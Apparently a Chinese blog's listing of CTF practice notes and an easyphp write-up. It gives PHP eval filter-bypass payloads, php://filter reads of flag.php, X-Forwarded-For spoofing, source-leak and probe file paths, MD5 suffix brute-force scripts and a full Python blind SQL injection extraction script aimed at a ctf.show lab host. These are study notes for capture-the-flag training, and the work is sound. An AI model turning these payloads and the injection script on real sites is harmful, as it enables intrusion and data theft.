[靶场笔记]第三章

伪随机 mt_srand这个函数是伪随机,给了随机种子,生成随机数都是固定的 另外,随机种子会因为php版本不同而不同,种子计算可以用工具php_mt_scrand nl查询 其实这里想说的是任意执行这个大类,在一些题目中可能会有奇怪的过滤,执行查询时如果cat不行可以试试nl,另外记得看一看网页源代码 一种很特殊的函数绕过法 show_source(next(array_reverse(scandir(pos(localeconv()))))); 不要被这一长串吓到了,如果flag文件说带有.且已经被过滤的,就可以用这方法 首先localeconv第一个元素是.,pos只返回第一个元素,scandir扫描当前目录并存入数组,array_reverse以相反的元素顺序返回数组,next输出当前元素的下一个元素值,最后再用show_source高亮输出 是不是很神奇? 一种也很特殊的叠加方法 仔细观察下面这段php $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } 再仔细观察下面这个段get请求参数 ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php 学会了吗? Get请求变量 经常看到以一个单词作为接受请求的变量,如下 $_GET["url"] 但其实把“url”换成1是可以的,这样就能达到绕过双引号过滤的目的。 同理,单个字母也是可以的 两段php代码 如果碰到了一个eval函数,那么首当其冲可以先写一个?>对前面的php进行闭合,这样再怎么过滤也不会过滤到后面的代码上了 不过需要注意的是,就算后面代码运行时不会过滤,但不代表代码输入进去时不会被过滤一遍,举个例子 c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 这段代码的1变量内容不会被过滤,但c仍然会

May 16, 2023 · 1 min · Red

[靶场笔记]第二章

备份文件 常见的源码泄露有以下几种 .hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏,还有以.phps .bak 重要的是,上面这些备份文件不一定能被dirsearch扫描到 include函数 在php中,include有一条你可能不仔细斟酌就没法理解的话 如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。 什么意思呢?如果你有一个路径叫source.php?/../../../../ffffllllaaaagggg,那么在include执行时将忽略/前的字符串而去找/../../../../ffffllllaaaagggg这个文件 并且,你不需要担心这个..回溯写太多了,记住,include会从父级文件搜起,就算你从根目录开始搜也能找到答案 vim备份泄露 后缀是.swp,emm是我经常忘的一个后缀 域名TXT 域名解析的时候会有个叫TXT的附加信息,里面可能藏着东西 页面信息 一定要记得检查页面中的信息,每个可能出现按钮的地方都给他点几下 探针泄露 有种东西叫探针,是用来检测网站搭建时情况的 如果忘记删掉,那么网站信息基本上将被一览无余 经典探针有这些: php雅黑探针 tz.php UenuProbe探针 UPUPW PHP 探针 u.php B-Check探针 iProber探针 浪点PHP探针 C1G PHP探针 phpenv2.1.php 9Gan php探针 js文件 虽然很多时候js文件进不去,但还是得习惯性看一下,有可能存在必须绕过的地方 IP过滤 IP出现问题直接上X-forwarded-For: 127.0.0.1 asp程序和access数据库结合体 这种奇怪的东西一般会存在一个mdb文件(目录:~/db/db.mdb),可以改成txt后缀打开 sql备份 有时候会存在类似像backup.sql这样的备份文件,记得试试(敢这样存的真的不会被骂吗)

April 25, 2023 · 1 min · Red

[靶场笔记]第一章

养成题后整理是一个很好的习惯,尽管有点累而且麻烦,但至少能够方便自己回顾错误的地方 web服务器默认访问日志文件 首先是nginx /var/log/nginx/access.log 里面记录了每次用户访问后的User-Agent 同样,Apache也有 /var/log/httpd/access_log 当然Apache的我没有具体验证过,可靠性有待考究 弱比较漏洞 参考博客:PHP弱类型比较(松散比较)方面的漏洞 SQL盲注 盲注其实就是通过页面的特殊响应猜测注入结果是否正常。下面主要分享一下几种常见绕过 过滤空格, 可以使用括号() 或者注释/**/ 绕过 过滤and, 可以使用or替代 过滤union, 可以用盲注替代联合注入 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1),这里**可以用substr(database() from 1 for 1)来代替** 下面是一个常见的脱库脚本 import requests url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/' name = '' # 循环45次( 循环次数按照返回的字符串长度自定义) for i in range(1, 45): # 获取当前使用的数据库 # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d' # 获取当前数据库的所有表 # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d' # 获取flag表的字段 # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d' # 获取flag表的数据 payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d' count = 0 print('正在获取第 %d 个字符' % i) # 截取SQL查询结果的每个字符, 并判断字符内容 for j in range(31, 128): result = requests.get(url + payload % (i, j)) if 'If' in result.text: name += chr(j) print('数据库名/表名/字段名/数据: %s' % name) break # 如果某个字符不存在,则停止程序 count += 1 if count >= (128 - 31): exit() 信息搜集 肯定会经常见到页面一片空白的情况,或者只有短短的一句类似“where is flag?”这样看着就来气的风凉话 dirsearch就是个不错的信息搜集工具,这里只做提醒,不做详细介绍 ...

April 5, 2023 · 2 min · Red

江苏工匠杯easyphp 解题记录

今天碰到这题,感觉有很多知识点,就决定记录一下 这里我用的是攻防世界的靶场 easyphp——攻防世界 题目分析 上来就分析php代码,那就逐行看一下,可以知道最终目的是要使key1和key2都是1 发现文末有一行Emmm...,再根据上面代码推断即可知道是第一个if判断没有进入导致的 而要进入也很简单,先来看一下代码 if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3) 可以看到a不能为空,同时要在字符数量小于等于3的情况下大于6000000,因此容易想到利用科学计数法。 构造第一个payload a=6e9 接着看第二个if md5推算 if(isset($b) && '8b184b' === substr(md5($b),-6,6)) 可以看到第二个if需要利用md5解码,先去看一下8b184b对应字符串。这里我们可以通过简单的Python脚本来解决这个哈希碰撞 import random import hashlib value = "8b184b" while 1: plainText = random.randint(10**11, 10**12 - 1) plainText = str(plainText) MD5 = hashlib.md5() MD5.update(plainText.encode(encoding='utf-8')) cipherText = MD5.hexdigest() if cipherText[-6:]==value : print("碰撞成功:") print("密文为:"+cipherText) print("明文为:"+plainText) break else: print("碰撞中.....") 密文:842fc2485a1faa0681f78d3e098b184b 明文:792616362347 可以得到结果。但考虑到计算量比较大,所以对代码进行一些简化,只截取8b184b这部分进行判断,不做满位拓展 import hashlib for i in range(1000000): m2 = hashlib.md5() m2.update(str(i).encode()) if m2.hexdigest()[-6:] == "8b184b": print(i) break 得到结果为53724,计算量明显缩小 ...

January 18, 2023 · 1 min · Red